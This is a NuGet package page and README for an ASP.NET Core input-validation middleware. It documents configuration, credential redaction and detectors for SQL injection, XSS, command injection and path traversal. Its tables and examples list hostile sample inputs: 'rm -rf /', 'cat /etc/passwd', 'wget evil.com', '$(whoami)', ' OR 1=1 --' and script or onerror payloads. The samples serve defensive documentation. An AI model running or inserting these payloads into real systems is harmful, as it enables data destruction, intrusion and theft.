Nedo.AspNet.Request.InputValidation
1.0.3
dotnet add package Nedo.AspNet.Request.InputValidation --version 1.0.3
NuGet\Install-Package Nedo.AspNet.Request.InputValidation -Version 1.0.3
<PackageReference Include="Nedo.AspNet.Request.InputValidation" Version="1.0.3" />
<PackageVersion Include="Nedo.AspNet.Request.InputValidation" Version="1.0.3" />
<PackageReference Include="Nedo.AspNet.Request.InputValidation" />
paket add Nedo.AspNet.Request.InputValidation --version 1.0.3
#r "nuget: Nedo.AspNet.Request.InputValidation, 1.0.3"
#:package Nedo.AspNet.Request.InputValidation@1.0.3
#addin nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.3
#tool nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.3
Nedo.AspNet.Request.InputValidation
Middleware-level input validation library for ASP.NET Core. Validates the format, structure, and safety of HTTP requests before model binding — catching threats that field-level validation ([Required], [Range], etc.) cannot.
Table of Contents
- Why This Library?
- Where It Fits
- Installation
- Quick Start
- Configuration
- Configuration Options Reference
- Sensitive Fields
- Validators
- Error Codes
- Error Response Format
- Excluding Paths
- Custom Validators
- Relationship with Field-Level Validation
Why This Library?
Field-level validation ([Required], [EmailAddress], FluentValidation) validates property values after model binding. But it cannot protect against:
| Threat | Example |
|---|---|
| Invalid Content-Type | Sending text/xml to a JSON endpoint |
| Malformed JSON | { invalid json crashing the deserializer |
| Oversized Payloads | 100MB body on a simple form endpoint |
| Deep Nesting Attacks | Deeply nested JSON causing stack overflow |
| Invalid MIME Types | Malformed Content-Type header syntax |
| SQL Injection | ' OR 1=1 -- in query or body |
| XSS Attacks | <script>alert('xss')</script> in input |
| Command Injection | ; rm -rf / in request fields |
| Path Traversal | ../../etc/passwd in file paths |
Nedo.AspNet.Request.InputValidation fills this gap by validating at the HTTP pipeline level, before model binding occurs.
Where It Fits
HTTP Request
│
▼
┌──────────────────────────────────────┐
│ 🛡️ Request Input Validation │ ◄── THIS LIBRARY
│ (Content-Type, JSON, Size, Format) │
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ 📦 Model Binding & Deserialization │
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ ✅ Field-Level Validation │ ◄── [Required], [Range], etc.
└──────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ 🎯 Controller / Endpoint Logic │
└──────────────────────────────────────┘
Installation
dotnet add package Nedo.AspNet.Request.InputValidation
Quick Start
1. Register Services
using Nedo.AspNet.Request.InputValidation;
var builder = WebApplication.CreateBuilder(args);
// Option A: Using appsettings.json
builder.Services.AddRequestInputValidation(
builder.Configuration.GetSection("NedoRequestInputValidation")
);
// Option B: Using code
builder.Services.AddRequestInputValidation(options =>
{
options.EnableFormatValidators = true;
options.MaxRequestBodySize = 10_000_000; // 10MB
options.MaxJsonDepth = 32;
options.AllowedContentTypes.Add("application/json");
});
2. Enable Middleware
Add the middleware to the pipeline before your endpoints:
var app = builder.Build();
app.UseRequestInputValidation(); // Add before MapControllers / MapEndpoints
app.MapControllers();
app.Run();
Configuration
Using appsettings.json (Recommended)
Add the NedoRequestInputValidation section to your appsettings.json:
{
"NedoRequestInputValidation": {
"EnableFormatValidators": true,
"EnableSecurityValidators": true,
"MaxJsonDepth": 32,
"MaxRequestBodySize": 10485760,
"AllowedContentTypes": [
"application/json",
"multipart/form-data"
],
"ExcludedPaths": [
"/hub",
"/signalr"
],
"SensitiveFields": [
"passphrase"
],
"SecurityScanExcludedFields": [
"reason",
"description"
]
}
}
Then bind it in Program.cs:
builder.Services.AddRequestInputValidation(
builder.Configuration.GetSection("NedoRequestInputValidation")
);
Note: When using
appsettings.json, theAllowedContentTypeslist is exactly what you define — there are no hidden defaults. If you don't configure it, all content types are allowed.
Using Code
builder.Services.AddRequestInputValidation(options =>
{
options.EnableFormatValidators = true;
options.MaxRequestBodySize = 5_000_000;
options.MaxJsonDepth = 10;
options.AllowedContentTypes.Add("application/json");
options.AllowedContentTypes.Add("multipart/form-data");
options.ExcludedPaths.Add("/hub");
});
Configuration Options Reference
| Option | Type | Default | Description |
|---|---|---|---|
EnableSecurityValidators |
bool |
true |
Enable security validators (SQL Injection, XSS, Command Injection, Path Traversal) |
EnableContentValidators |
bool |
true |
Enable content validators (Required fields, etc.) — reserved for future phases |
EnableEncodingValidators |
bool |
true |
Enable encoding validators (UTF-8, binary rejection) — reserved for future phases |
EnableFormatValidators |
bool |
true |
Enable format validators (Content-Type, JSON syntax, body size) |
MaxJsonDepth |
int |
32 |
Maximum allowed JSON nesting depth |
MaxRequestBodySize |
long |
30,000,000 |
Maximum request body size in bytes (~30MB) |
AllowedContentTypes |
List<string> |
[] (empty) |
Allowed Content-Type values. Empty = allow all |
ExcludedPaths |
List<string> |
[] (empty) |
Request paths to skip validation (prefix match, case-insensitive) |
SensitiveFields |
List<string> |
[] (empty) |
Extra field names that are never security-scanned and never echoed back. Added on top of the built-in list |
UseDefaultSensitiveFields |
bool |
true |
Treat the built-in credential names (password, token, secret, apiKey, …) as sensitive |
SecurityScanExcludedFields |
List<string> |
[] (empty) |
Extra field names to skip during security scanning only — their values are still echoed back |
Sensitive Fields
Some fields must never be scanned, and must never appear in an error response.
A password is the clearest case. It never reaches a shell or a SQL string — it goes straight to a
hash comparison or a directory bind — so scanning its contents buys nothing. What it does buy is a
lockout: a password like Mawar#;2577 contains a ;, which used to read as a shell separator,
and its owner got a 400 ERR-INP-001 that looks nothing like "wrong password". Passwords with
metacharacters are good passwords; the validator has no business rejecting them.
The echo is the more serious half. Every error group carries a data field holding the value that
failed. For a credential, that value then travels into server logs, error trackers, browser
devtools, and anything that records response bodies.
So fields named as sensitive are skipped by every security validator and their values are
replaced with [REDACTED] in the response — the redaction applies to errors from any
validator, including a length constraint on newPassword.
Built-in sensitive names (case-insensitive, disable with UseDefaultSensitiveFields: false):
| Group | Names |
|---|---|
| Passwords | password, newPassword, currentPassword, oldPassword, confirmPassword, passwordConfirmation, passwordHash |
| Bearer material | token, accessToken, refreshToken, pendingToken, pendingAuthToken, captchaToken, idToken, authorization |
| Shared secrets | secret, clientSecret, apiKey, privateKey, otp, pin |
Matching is on the field's own name, so password covers $.data.password, QueryString:password,
and a bare password alike. A sensitive name takes its whole subtree with it — nothing under
"credentials": { ... } is scanned if credentials is listed.
{
"NedoRequestInputValidation": {
"SensitiveFields": ["passphrase", "nik"],
"SecurityScanExcludedFields": ["reason", "description"]
}
}
SensitiveFields vs SecurityScanExcludedFields:
| Security-scanned | Echoed in data |
|
|---|---|---|
SensitiveFields |
No | No — [REDACTED] |
SecurityScanExcludedFields |
No | Yes |
Use the second for free-text fields where prose legitimately carries metacharacters — a reason field
holding "sakit; demam", a note holding "nilai < 60" — where the value is not secret and is still
useful to show back to the caller.
builder.Services.AddRequestInputValidation(options =>
{
options.SensitiveFields.Add("passphrase");
options.SecurityScanExcludedFields.Add("reason");
});
Validators
InputFormat Validators
Controlled by EnableFormatValidators. Validate the format and structure of the HTTP request.
ContentTypeValidator
Order: 10 | Error Codes: INV-FMT-001, INV-FMT-002
Validates the Content-Type header of incoming requests.
- Skips validation when request has no body (
ContentLengthis 0 or null) - Skips validation when
AllowedContentTypesis empty (not configured) - Handles charset parameters (e.g.,
application/json; charset=utf-8→ checksapplication/json)
Examples:
✅ POST /api/data Content-Type: application/json → Passes (if "application/json" is allowed)
✅ POST /api/data Content-Type: application/json; charset=utf-8 → Passes
❌ POST /api/data Content-Type: text/xml → INV-FMT-002 (not in allowed list)
❌ POST /api/data (no Content-Type header) → INV-FMT-001 (missing)
MediaTypeValidator
Order: 11 | Error Code: INV-FMT-003
Validates that the Content-Type header is a syntactically valid MIME type (RFC compliant).
- Skips validation when Content-Type is not present
- Uses
MediaTypeHeaderValue.TryParse()for RFC-compliant parsing
Examples:
✅ Content-Type: application/json → Passes (valid syntax)
✅ Content-Type: multipart/form-data → Passes
❌ Content-Type: invalid-format/ → INV-FMT-003 (invalid MIME syntax)
InputStreamValidator
Order: 5 | Error Code: INV-FMT-004
Validates the size of the request body based on the Content-Length header. Runs early in the pipeline to reject oversized payloads before any processing.
Examples:
✅ POST /api/data Content-Length: 1024 (MaxRequestBodySize: 10MB) → Passes
❌ POST /api/data Content-Length: 50MB (MaxRequestBodySize: 10MB) → INV-FMT-004
JsonFormatValidator
Order: 20 | Error Codes: INV-FMT-005, INV-FMT-006
Validates that the request body contains valid JSON syntax before model binding attempts deserialization. Also enforces maximum nesting depth.
- Only validates requests with
Content-Type: application/json - Enables request body buffering so the stream can be re-read by model binding
- Resets the stream position after validation
Examples:
✅ {"name": "John", "age": 30} → Passes
❌ {"name": "John", "age": → INV-FMT-005 (invalid JSON)
❌ {"a":{"b":{"c":{"d":1}}}} (MaxDepth: 2) → INV-FMT-005 (depth exceeded)
InputSecurity Validators
Controlled by EnableSecurityValidators. Detect and block common attack patterns by scanning query strings and JSON body values recursively.
All security validators extend BaseInputSecurityValidator, which provides:
- Input normalization — URL-decodes (including double-encoding like
%2527), collapses whitespace/newlines before matching - Regex timeouts — all patterns enforce a 250ms evaluation limit to prevent ReDoS attacks
- Recursive JSON scanning — all string values in nested objects/arrays are checked
- Sensitive-field skip — credential fields are never scanned; see Sensitive Fields
SqlInjectionValidator
Order: 100 | Error Code: INV-SEC-001
Detects SQL injection patterns in request input. Patterns require realistic SQL syntax context to minimize false positives — bare keywords like "update" or "select" in natural language are not flagged.
Detected patterns:
| Category | Examples |
|---|---|
| SQL statements (with identifier support) | SELECT * FROM users, SELECT id FROM dbo.Users WHERE id=1, INSERT INTO [accounts](id) VALUES(1), UPDATE users SET admin=1, DELETE FROM sessions WHERE id=1, DROP TABLE IF EXISTS users |
| Tautology / auth bypass | ' OR 1=1, ' OR 'a'='a', ' OR TRUE, ') OR (1)=(1), ' AND 1=1 |
| Comment & termination injection | ' --, '; --, ')--, ' #, ')#, standalone /* or */ tokens |
| Keyword splitting obfuscation | SE/**/LECT, UN/**/ION, FR/**/OM |
| Dangerous procedures | xp_cmdshell, sp_executesql, sp_oacreate, OPENROWSET(), OPENDATASOURCE() |
| Time-based blind injection | WAITFOR DELAY (SQL Server), BENCHMARK() (MySQL), SLEEP() (MySQL), pg_sleep() (PostgreSQL) |
| Metadata probing | INFORMATION_SCHEMA, sys.tables, sys.columns, @@version |
| URL-encoded bypass | %27 OR 1=1 -- (decoded to ' OR 1=1 -- before matching) |
Identifier support: Patterns accept plain (users), bracket-quoted ([Users]), double-quoted ("Users"), backtick-quoted (`users`), and schema-qualified (dbo.Users) identifiers.
False-positive resistance:
✅ "how to update data" → Passes (bare keyword, no SQL syntax)
✅ "please select an option" → Passes
✅ "delete from your diet" → Passes (no WHERE clause)
✅ "Please select data from the list" → Passes (no SQL clause after table)
✅ "sp_help" → Passes (not a dangerous procedure)
✅ "drop me a line" → Passes (no TABLE/DATABASE after DROP)
❌ "SELECT * FROM users" → INV-SEC-001
❌ "' OR 1=1 --" → INV-SEC-001
❌ "%27 OR 1=1" → INV-SEC-001 (URL-decoded)
XssValidator
Order: 101 | Error Code: INV-SEC-002
Detects cross-site scripting (XSS) payloads in request input. Patterns focus on high-signal HTML context to avoid false positives on generic JavaScript identifiers in plain text.
Detected patterns:
| Category | Examples |
|---|---|
| Script tags | <script>, </script> |
| Inline event handlers (HTML attribute context) | <img onerror=...>, <div onload="..."> |
| Dangerous URI schemes (in HTML attributes) | href="javascript:...", src="data:text/html,...", action="vbscript:..." |
| Injection elements | <iframe>, <object>, <embed> |
| SVG / foreignObject | <svg>, <foreignObject> |
| HTML entity encoding bypass | <script |
| DOM sinks (HTML context only) | <... document.cookie ...>, <... window.location ...> |
Examples:
✅ {"comment": "Great article!"} → Passes
✅ {"note": "use document.cookie in JS"} → Passes (no HTML context)
❌ {"comment": "<script>alert('xss')</script>"} → INV-SEC-002
❌ ?q=<img src=x onerror=alert(1)> → INV-SEC-002
❌ {"url": "href=\"javascript:alert(1)\""} → INV-SEC-002
CommandInjectionValidator
Order: 102 | Error Code: INV-SEC-003
Detects OS command injection patterns in request input. This is a heuristic detector — primary defense should always be to never pass user input to a shell.
Every pattern requires shell syntax, not a lone metacharacter. A separator with nothing behind it
(Mawar#;2577) and a comparison in prose (nilai < 60) are ordinary text: they say nothing about
intent, and an attacker still needs a command to run. Credential fields are not scanned at all — see
Sensitive Fields.
Detected patterns:
| Category | Examples |
|---|---|
| Command chaining | ; rm -rf /, \| cat /etc/passwd, && wget evil.com, ; python3 -c ... |
| Command substitution | `whoami`, $(id) |
| Redirection to a path | > /tmp/x, < /etc/passwd, 2>&1, \| sh, \| bash |
| Windows execution | cmd /c ..., powershell -enc ..., pwsh -Command ... |
| Absolute shell paths | /bin/sh, /bin/bash, /usr/bin/sh |
| Sensitive file probing | /etc/passwd, /etc/shadow, /etc/hosts |
Examples:
✅ {"filename": "report.pdf"} → Passes
✅ {"note": "use semicolons properly"} → Passes
✅ {"password": "Mawar#;2577"} → Passes (sensitive field, not scanned)
✅ {"reason": "sakit; demam sejak kemarin"} → Passes (separator, no command)
✅ {"note": "nilai < 60 dianggap tidak lulus"} → Passes (comparison, not redirection)
❌ {"filename": "; rm -rf /"} → INV-SEC-003
❌ ?cmd=$(whoami) → INV-SEC-003
❌ {"input": "| cat /etc/passwd"} → INV-SEC-003
❌ {"input": "dump > /tmp/shell.sh"} → INV-SEC-003
PathTraversalValidator
Order: 103 | Error Code: INV-SEC-004
Detects directory traversal attempts in request input. Intended for fields that represent file paths or filenames.
Detected patterns:
| Category | Examples |
|---|---|
| Dot-segment traversal | ../, ..\, /../, =/../ |
| URL-encoded variants | %2e%2e%2f, %2e%2e%5c, .%2e/, %2e./ |
| Double-encoded variants | %252e%252e |
| Windows drive paths | C:\, D:/ |
| UNC paths | \\server\share |
| Linux absolute paths | /etc/..., /proc/..., /sys/..., /root/..., /var/..., /home/... |
| Sensitive file targets | /etc/passwd, /etc/shadow, /windows/system32, /boot.ini |
Examples:
✅ {"path": "/images/photo.jpg"} → Passes
✅ {"note": "go to /home page"} → Passes
❌ {"path": "../../etc/passwd"} → INV-SEC-004
❌ ?file=%2e%2e/%2e%2e/etc/shadow → INV-SEC-004
❌ {"path": "C:\\windows\\system32"} → INV-SEC-004
InputContent Validators
Controlled by EnableContentValidators. Validate the JSON body structure before model binding using path-based rules defined in ContentValidationRules.
Configuration:
{
"NedoRequestInputValidation": {
"EnableContentValidators": true,
"ContentValidationRules": {
"/data": {
"RequiredFields": ["name", "value"],
"NonEmptyFields": ["name"],
"FieldTypes": {
"name": "string",
"value": "number"
},
"AllowUnexpectedFields": false
}
}
}
}
- Rules are matched by request path prefix (case-insensitive)
- Only
application/jsonrequests with a body are validated - Non-matching paths are skipped (no rule = no validation)
RequiredFieldsValidator
Order: 200 | Error Code: INV-CNT-001
Ensures all fields listed in RequiredFields exist in the JSON body.
✅ {"name": "John", "value": 42} → Passes
❌ {"name": "John"} → INV-CNT-001 (missing "value")
❌ {} → INV-CNT-001 (missing "name" and "value")
NonEmptyFieldsValidator
Order: 201 | Error Code: INV-CNT-002
Ensures fields listed in NonEmptyFields are not null, empty (""), or whitespace-only. Missing fields are skipped (handled by RequiredFieldsValidator).
✅ {"name": "John"} → Passes
❌ {"name": ""} → INV-CNT-002
❌ {"name": null} → INV-CNT-002
❌ {"name": " "} → INV-CNT-002
FieldDataTypesValidator
Order: 202 | Error Code: INV-CNT-003
Validates JSON value kinds match the FieldTypes map. Supported types: string, number, boolean, array, object. Null values always pass type checks (use NonEmptyFields for non-null enforcement).
✅ {"name": "John", "value": 42} → Passes
✅ {"name": null} → Passes (null allowed)
❌ {"name": 123} → INV-CNT-003 (expected string)
❌ {"value": "forty-two"} → INV-CNT-003 (expected number)
UnexpectedFieldsValidator
Order: 203 | Error Code: INV-CNT-004
When AllowUnexpectedFields is false, rejects any fields not defined in RequiredFields, NonEmptyFields, or FieldTypes.
✅ {"name": "John", "value": 42} → Passes (both are known)
❌ {"name": "John", "hacker": true} → INV-CNT-004 ("hacker" not in schema)
InputStructure Validators
Controlled by EnableStructureValidators. Extend ContentValidationRules to enforce field length constraints.
ArrayFieldConstraintsValidator
Order: 300 | Error Code: INV-STR-001
Enforces maximum number of items in array fields.
"MaxArrayLengths": { "tags": 5 }
✅ {"tags": ["a", "b"]} → Passes
❌ {"tags": ["1", "2", "3", ...]} → INV-STR-001 (exceeds limit)
FieldLengthConstraintsValidator
Order: 301 | Error Code: INV-STR-002
Enforces maximum character length for string fields.
"MaxStringLengths": { "username": 20 }
✅ {"username": "user123"} → Passes
❌ {"username": "very_long_name..."} → INV-STR-002 (exceeds 20 chars)
InputEncoding Validators
Controlled by EnableEncodingValidators.
EncodingValidator
Order: 50 | Error Code: INV-ENC-001
Ensures Content-Type header specifies UTF-8 charset (or omits it).
✅ Content-Type: application/json; charset=utf-8 → Passes
❌ Content-Type: application/json; charset=iso-8859-1 → INV-ENC-001
RejectBinaryInputValidator
Order: 51 | Error Code: INV-ENC-002
Scans JSON string values for null bytes (\0) which may indicate binary data injection attempts.
✅ {"data": "text"} → Passes
❌ {"data": "image\u0000binary"} → INV-ENC-002
Error Codes
InputFormat Errors
| Code | Validator | Description |
|---|---|---|
INV-FMT-001 |
ContentTypeValidator | Content-Type header is missing |
INV-FMT-002 |
ContentTypeValidator | Content-Type is not in the allowed list |
INV-FMT-003 |
MediaTypeValidator | Content-Type has invalid MIME type syntax |
INV-FMT-004 |
InputStreamValidator | Request body exceeds maximum size |
INV-FMT-005 |
JsonFormatValidator | Invalid JSON syntax or depth exceeded |
INV-FMT-006 |
JsonFormatValidator | Unable to read request body |
InputSecurity Errors
| Code | Validator | Description |
|---|---|---|
INV-SEC-001 |
SqlInjectionValidator | Potential SQL injection detected |
INV-SEC-002 |
XssValidator | Potential XSS attack detected |
INV-SEC-003 |
CommandInjectionValidator | Potential command injection detected |
INV-SEC-004 |
PathTraversalValidator | Potential path traversal detected |
InputContent Errors
| Code | Validator | Description |
|---|---|---|
INV-CNT-001 |
RequiredFieldsValidator | Required field is missing from JSON body |
INV-CNT-002 |
NonEmptyFieldsValidator | Field is null, empty, or whitespace-only |
INV-CNT-003 |
FieldDataTypesValidator | Field value type does not match expected type |
INV-CNT-004 |
UnexpectedFieldsValidator | Unknown field not in the content schema |
InputStructure Errors
| Code | Validator | Description |
|---|---|---|
INV-STR-001 |
ArrayFieldConstraintsValidator | Array field exceeds maximum items |
INV-STR-002 |
FieldLengthConstraintsValidator | String field exceeds maximum length |
InputEncoding Errors
| Code | Validator | Description |
|---|---|---|
INV-ENC-001 |
EncodingValidator | Content-Type has unsupported charset |
INV-ENC-002 |
RejectBinaryInputValidator | Binary data (null bytes) detected |
Error Response Format
When validation fails, the middleware returns 400 Bad Request with a detailed JSON response including the input data that caused the error:
{
"success": false,
"status_code": 400,
"code": "ERR-VAL-STR", // Top-level code based on error category (SEC, FMT, CNT, STR, ENC)
"message": "Input Structure Validation failed",
"error": [
{
"data": "very_long_name...", // The input value that failed validation
"errorDetails": {
"inputErrors": [
{
"code": "INV-STR-002",
"message": "String field 'username' exceeds maximum length of 20 characters.",
"field": "username",
"category": "InputStructure"
}
]
}
}
]
}
Top-level codes:
ERR-VAL-SEC: Security validation failure (Highest priority)ERR-VAL-FMT: Format validation failureERR-VAL-CNT: Content schema failureERR-VAL-STR: Structure constraint failureERR-VAL-ENC: Encoding failureERR-VAL-GEN: General validation failure
Multiple errors can be returned in a single response if multiple validators detect issues.
data carries the value that failed validation — except when the field is sensitive, where it
reads "[REDACTED]" instead. A credential echoed here would otherwise reach server logs, error
trackers, and browser devtools. See Sensitive Fields.
{
"data": "[REDACTED]",
"errorDetails": {
"inputErrors": [
{
"code": "INV-STR-002",
"message": "String field 'newPassword' exceeds maximum length of 64 characters.",
"field": "newPassword",
"category": "InputStructure"
}
]
}
}
Excluding Paths
Use ExcludedPaths to skip validation for specific routes. This is useful for:
- SignalR hubs (
/hub,/signalr) — WebSocket negotiation has different content patterns - Health checks (
/health,/ready) - Static files or other non-API endpoints
{
"NedoRequestInputValidation": {
"ExcludedPaths": [
"/hub",
"/signalr",
"/health"
]
}
}
Path matching is prefix-based and case-insensitive:
/hubmatches/hub,/hub/negotiate,/hub/stream, etc./api/internalmatches/api/internal/status,/api/internal/debug, etc.
Custom Validators
You can create your own validators by implementing IRequestInputValidator:
using Microsoft.AspNetCore.Http;
using Nedo.AspNet.Request.InputValidation.Contracts;
public class CustomHeaderValidator : IRequestInputValidator
{
public int Order => 15; // Controls execution order (lower = first)
public Task<InputValidationResult> ValidateAsync(HttpContext context)
{
if (!context.Request.Headers.ContainsKey("X-Api-Key"))
{
return Task.FromResult(InputValidationResult.Failure(new InputValidationError
{
Code = "INV-CUS-001",
Message = "X-Api-Key header is required.",
Field = "Header:X-Api-Key",
Category = "Custom"
}));
}
return Task.FromResult(InputValidationResult.Success);
}
}
Register it in DI:
builder.Services.AddSingleton<IRequestInputValidator, CustomHeaderValidator>();
Relationship with Field-Level Validation
| Aspect | Field-Level Validation | Request Input Validation (This Library) |
|---|---|---|
| Level | Property level | HTTP Request / Pipeline level |
| When | After model binding | Before model binding |
| What | Property values (string, int, DateTime) |
Raw request (headers, body stream) |
| Focus | Correctness (format, range, pattern) | Safety (format, size, structure) |
| Integration | Attributes, FluentValidation | Middleware |
| Error Codes | VAL-xxx-xxx |
INV-xxx-xxx |
Use both together for a complete validation pipeline:
Request → [Input Validation] → [Model Binding] → [Field Validation] → Controller
🛡️ Safety 📦 Parse ✅ Correctness 🎯 Logic
License
MIT
| Product | Versions Compatible and additional computed target framework versions. |
|---|---|
| .NET | net9.0 is compatible. net9.0-android was computed. net9.0-browser was computed. net9.0-ios was computed. net9.0-maccatalyst was computed. net9.0-macos was computed. net9.0-tvos was computed. net9.0-windows was computed. net10.0 was computed. net10.0-android was computed. net10.0-browser was computed. net10.0-ios was computed. net10.0-maccatalyst was computed. net10.0-macos was computed. net10.0-tvos was computed. net10.0-windows was computed. |
-
net9.0
- No dependencies.
NuGet packages
This package is not used by any NuGet packages.
GitHub repositories
This package is not used by any popular GitHub repositories.